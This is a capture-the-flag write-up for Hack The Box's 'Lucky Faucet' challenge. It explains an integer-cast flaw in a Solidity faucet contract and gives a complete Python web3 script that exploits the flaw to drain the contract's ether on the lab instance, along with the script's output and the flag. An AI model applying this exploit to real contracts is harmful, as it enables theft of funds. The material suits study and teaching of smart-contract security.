Lucky Faucet Writeup - Cyber Apocalypse 2024
- 1 Introduction
- 2 Key techniques
- 3 Artifacts Summary
- 4 Reviewing the smart contract source code
- 5 Obtaining connection information
- 6 Visualizing the starting account balances
- 7 Vulnerability analysis
- 8 Generating the ABI (Application Binary Interface)
- 9 Writing Python code to invoke the smart contracts
- 10 Breaking the faucet
- 11 Obtaining the flag
- 12 Conclusion
→ 1 Introduction
This writeup covers the Lucky Faucet Blockchain challenge from the Hack The Box Cyber Apocalypse 2024 CTF, which was rated as having an ‘easy’ difficulty. The challenge involved the exploitation of an integer underflow vulnerability in an Ethereum smart contract.
The description of the challenge is shown below.
→ 2 Key techniques
The key techniques employed in this writeup are:
- manual Solidity source code review
- invoking Ethereum smart contracts using Python and the web3 package
- vulnerability analysis and exploitation of an integer underflow vulnerability
→ 3 Artifacts Summary
The downloaded artifact had the following hash:
$ shasum -a256 blockchain_lucky_faucet.zip
a28cb9ffb4ff0006f1b861655d06dc29c774d6a4bacb3c96499326400367ea6b blockchain_lucky_faucet.zip
The zip file contained two Solidity source code files:
$ unzip blockchain_lucky_faucet.zip
Archive: blockchain_lucky_faucet.zip
creating: blockchain_lucky_faucet/
inflating: blockchain_lucky_faucet/LuckyFaucet.sol
inflating: blockchain_lucky_faucet/Setup.sol
$ shasum -a256 blockchain_lucky_faucet/*
4d8cce933da30c37993d1f807a8d48dcd117c356af5ee29cdea14ab68e81b27c blockchain_lucky_faucet/LuckyFaucet.sol
284910656bd270a70437e453fa0e87ff0506476ca80508cf44d9b568135e310d blockchain_lucky_faucet/Setup.sol
→ 4 Reviewing the smart contract source code
→ 4.1 Setup
The Setup
smart contract does the following:
- Line 2: declares the solidity version to compile with.
-
Line 12: Creates a
LuckyFaucet
smart contract initialized with 500 ether -
Line 15: exposes a public
isSolved
view function that checks whether theLuckyFaucet
contract has a balance <= 490 ether
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.6;
import {LuckyFaucet} from "./LuckyFaucet.sol";
contract Setup {
LuckyFaucet public immutable TARGET;
uint256 constant INITIAL_BALANCE = 500 ether;
constructor() payable {
TARGET = new LuckyFaucet{value: INITIAL_BALANCE}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance <= INITIAL_BALANCE - 10 ether;
}
}
→ 4.2 LuckyFaucet.sol
The LuckyFaucet
smart contract does the following:
- Line 2: declares the solidity version to compile with.
-
Line 14: exposes a public
setBounds
function that permits setting a lower and upper bound to be used by thesendRandomETH
function, where the lower bound must be <= 50 million Wei, the upper bound must be <= 100 million Wei and the lower bound must be <= the upper bound. -
Line 24: exposes a public function
sendRandomETH
that sends an amount of ether to the sender, calculated based on a block hash and the lower and upper bounds.
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
contract LuckyFaucet {
int64 public upperBound;
int64 public lowerBound;
constructor() payable {
// start with 50M-100M wei Range until player changes it
upperBound = 100_000_000;
lowerBound = 50_000_000;
}
function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {
require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
require(_newLowerBound <= 50_000_000, "50M wei is the max lowerBound sry");
require(_newLowerBound <= _newUpperBound);
// why? because if you don't need this much, pls lower the upper bound :)
// we don't have infinite money glitch.
upperBound = _newUpperBound;
lowerBound = _newLowerBound;
}
function sendRandomETH() public returns (bool, uint64) {
int256 randomInt = int256(blockhash(block.number - 1)); // "but it's not actually random 🤓"
// we can safely cast to uint64 since we'll never
// have to worry about sending more than 2**64 - 1 wei
uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound);
bool sent = msg.sender.send(amountToSend);
return (sent, amountToSend);
}
}
→ 5 Obtaining connection information
Spawning docker for this challenge resulted in two ports on a single IP address:
- 94.237.56.255 31348 - management port for connection information and getting the flag
- 94.237.56.255 35714 - Ethereum HTTP provider endpoint
Connecting to the first one provided an option to retrieve connection information:
- Private key: the private key associated with our Ethereum externally-owned account for this challenge.
- Address: the address of our account.
-
Target contract: the address of the
LuckyFaucet
smart contract -
Setup contract: the address of the
Setup
smart contract
$ nc -n -v 94.237.56.255 31348
(UNKNOWN) [94.237.56.255] 31348 (?) open
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 1
Private key : 0x4fcf2bac7d94a2a77cb72036aa67334e9d5a861a7ad2103a499b13d04d190203
Address : 0x31F077fCB45678631d0dd34d7F7da20B8bD3b542
Target contract : 0x497c89a9cdfE5a835Ae3ed83C5dCe8b245196130
Setup contract : 0xd0932DB6307Ad41F37DDb8fAa80D534cD87d0027
→ 6 Visualizing the starting account balances
The Setup
contract deals in Ether units, whereas the
LuckyFaucet
deals in Wei units, which are many, many orders
of magnitude apart. To better visualize this, a
get_account_balances.py
script was written to query the
starting account balances.
The web3 package can be used to interact with Ethereum. A virtual environment was created and the package installed:
$ python3 -mvenv venv
$ . ./venv/bin/activate
$ pip install web3
config.py
was created to contain all the connection
information. Also, line 3 converts the private key hex to a bytes
object, which will be needed by web3:
my_account_private_key_hex = '4fcf2bac7d94a2a77cb72036aa67334e9d5a861a7ad2103a499b13d04d190203'
my_account_address = '0x31F077fCB45678631d0dd34d7F7da20B8bD3b542'
my_account_private_key = bytes.fromhex(my_account_private_key_hex)
lucky_faucet_contract_address = '0x497c89a9cdfE5a835Ae3ed83C5dCe8b245196130'
setup_contract_address = '0xd0932DB6307Ad41F37DDb8fAa80D534cD87d0027'
provider_host = '94.237.56.255'
provider_port = 35714
get_account_balances.py
was written to print out the
balance of the LuckyFaucet
contract account, in both Wei
and ether units:
#!/usr/bin/python3
from web3 import Web3, EthereumTesterProvider
# Config: My account details, contract addresses, http provider host and port
from config import *
w3 = Web3(Web3.HTTPProvider(f"http://{provider_host}:{provider_port}"))
lucky_faucet_balance: int = w3.eth.get_balance(lucky_faucet_contract_address)
print(f"lucky_faucet_balance: {lucky_faucet_balance}")
print(f"lucky_faucet_balance (ether): {w3.from_wei(lucky_faucet_balance,'ether')}")
Running the script indicated the starting LuckyFaucet
balance was 5000000000000000000000
or
500e18
$ python3 get_account_balances.py
lucky_faucet_balance: 500000000000000000000
lucky_faucet_balance (ether): 500
→ 7 Vulnerability analysis
The Setup
contract will consider the challenge solved if
the balance of the LuckyFaucet
contract is reduced to
490e18, whereas the LuckyFaucet
lower and upper bounds are
restricted to a much smaller maximum value. Naively invoking the
sendRandomETH
function repeatedly will take a very long
time to result in the success condition.
However, line 28 in LuckyFaucet
has an integer underflow
vulnerability due to upperBound
and
lowerBound
being signed integers but
amountToSend
being unsigned. If we can choose
upperBound
and lowerBound
values that make the
inner expression
randomInt % (upperBound - lowerBound + 1) + lowerBound
become a small negative number, the uint64
conversion will
underflow to become a very large positive number, :
We can experiment with suitable upperBound
and
lowerBound
values with some skeleton code in Remix IDE:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.6;
contract ArithmeticTest {
constructor() payable {
}
function test() public pure returns (int256) {
int64 upperBound = 0;
int64 lowerBound = -1;
// randomInt set to an arbitrary, largish even number.
int256 randomInt = 1e18;
return randomInt % (upperBound - lowerBound + 1) + lowerBound;
}
}
Compiling, deploying and invoking the test function results in a
value of -1 when randomInt
is even. Converting -1 to an
uint64 should result in the maximum uint64 value.
When randomInt
is odd, the test function returns 0.
However, given LuckyFaucet
computes randomInt
from the blockhash, we likely only have to invoke
sendRandomETH
a few times at most until
randomInt
is even.
→ 8 Generating the ABI (Application Binary Interface)
In order to invoke a smart contract, you need the ABI (Application Binary Interface) for it. This was generated using the same approach used for Russian Roulette.
→ 9 Writing Python code to invoke the smart contracts
transact.py
was written that:
-
Calls
setBounds
to set theupperBound
to 0 and thelowerBound
to -1. -
Repeatedly invokes
sendRandomETH
untilisSolved
returns true.
#!/usr/bin/python3
from web3 import Web3, EthereumTesterProvider
# Config: My account details, contract addresses, http provider host and port
from config import *
# --------------------------------------------------------------------------------
# Construct web3 http provider.
w3 = Web3(Web3.HTTPProvider(f"http://{provider_host}:{provider_port}"))
# --------------------------------------------------------------------------------
# Contract ABIs generated by Remix IDE.
lucky_faucet_abi = """[
{
"inputs": [],
"stateMutability": "payable",
"type": "constructor"
},
{
"inputs": [],
"name": "lowerBound",
"outputs": [
{
"internalType": "int64",
"name": "",
"type": "int64"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "sendRandomETH",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
},
{
"internalType": "uint64",
"name": "",
"type": "uint64"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "int64",
"name": "_newLowerBound",
"type": "int64"
},
{
"internalType": "int64",
"name": "_newUpperBound",
"type": "int64"
}
],
"name": "setBounds",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "upperBound",
"outputs": [
{
"internalType": "int64",
"name": "",
"type": "int64"
}
],
"stateMutability": "view",
"type": "function"
}
]"""
setup_abi = """[
{
"inputs": [],
"stateMutability": "payable",
"type": "constructor"
},
{
"inputs": [],
"name": "TARGET",
"outputs": [
{
"internalType": "contract RussianRoulette",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "isSolved",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
}
]"""
# --------------------------------------------------------------------------------
# Get contracts
lucky_faucet_contract = w3.eth.contract(address=lucky_faucet_contract_address, abi=lucky_faucet_abi)
setup_contract = w3.eth.contract(address=setup_contract_address, abi=setup_abi)
# --------------------------------------------------------------------------------
def narrow_faucet_bounds():
nonce = w3.eth.get_transaction_count(my_account_address)
# Build a transaction that invokes this contract's function, called transfer
upper_bound = 0
lower_bound = -1
lucky_faucet_transaction = \
lucky_faucet_contract.functions.setBounds(lower_bound, upper_bound).build_transaction({
'from': my_account_address,
'nonce': nonce,
'gas': 70000,
'maxFeePerGas': w3.to_wei('2', 'gwei'),
'maxPriorityFeePerGas': w3.to_wei('1', 'gwei'),
})
signed_txn = w3.eth.account.sign_transaction(lucky_faucet_transaction, private_key=my_account_private_key)
transaction_hash: bytes = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
print(f"narrow_faucet_bounds transaction hash: {transaction_hash.hex()}")
def send_random_eth():
nonce = w3.eth.get_transaction_count(my_account_address)
# Build a transaction that invokes this contract's function, called transfer
lucky_faucet_transaction = \
lucky_faucet_contract.functions.sendRandomETH().build_transaction({
'from': my_account_address,
'nonce': nonce,
'gas': 70000,
'maxFeePerGas': w3.to_wei('2', 'gwei'),
'maxPriorityFeePerGas': w3.to_wei('1', 'gwei'),
})
signed_txn = w3.eth.account.sign_transaction(lucky_faucet_transaction, private_key=my_account_private_key)
transaction_hash: bytes = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
print(f"send_random_eth transaction hash: {transaction_hash.hex()}")
def is_solved():
# isSolved is a view function so you don't need to build a transaction (at least I think that's why)
solved: bool = setup_contract.functions.isSolved().call()
return solved
def print_lucky_faucet_balance():
lucky_faucet_balance: int = w3.eth.get_balance(lucky_faucet_contract_address)
print(f"lucky_faucet_balance: {lucky_faucet_balance}")
narrow_faucet_bounds()
solved = False
while not solved:
send_random_eth()
print_lucky_faucet_balance()
solved = is_solved()
print(f"solved: {solved}")
→ 10 Breaking the faucet
The script was run, resulting in a LuckyFaucet
balance
less than 490 ether and a solved state of True. Based on the output, it
only had to invoke sendRandomETH
once.
$ python3 transact.py
narrow_faucet_bounds transaction hash: 0x99fa3ba215bb67999c80b3e644642db7dfd0988fd29bc0d6cadf54b56c87ffe1
send_random_eth transaction hash: 0x0bfe76b95371710f80d8b40459a1e2c09f383c5b140b4125ac2bef65cfc8680a
lucky_faucet_balance: 481553255926290448386
solved: True
→ 11 Obtaining the flag
The flag was obtained by connecting to the management endpoint and selecting the “Get flag” option:
$ nc -n -v 94.237.56.255 31348
(UNKNOWN) [94.237.56.255] 31348 (?) open
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 3
HTB{1_f0rg0r_s0m3_U}
→ 12 Conclusion
The flag was submitted and the challenge was marked as pwned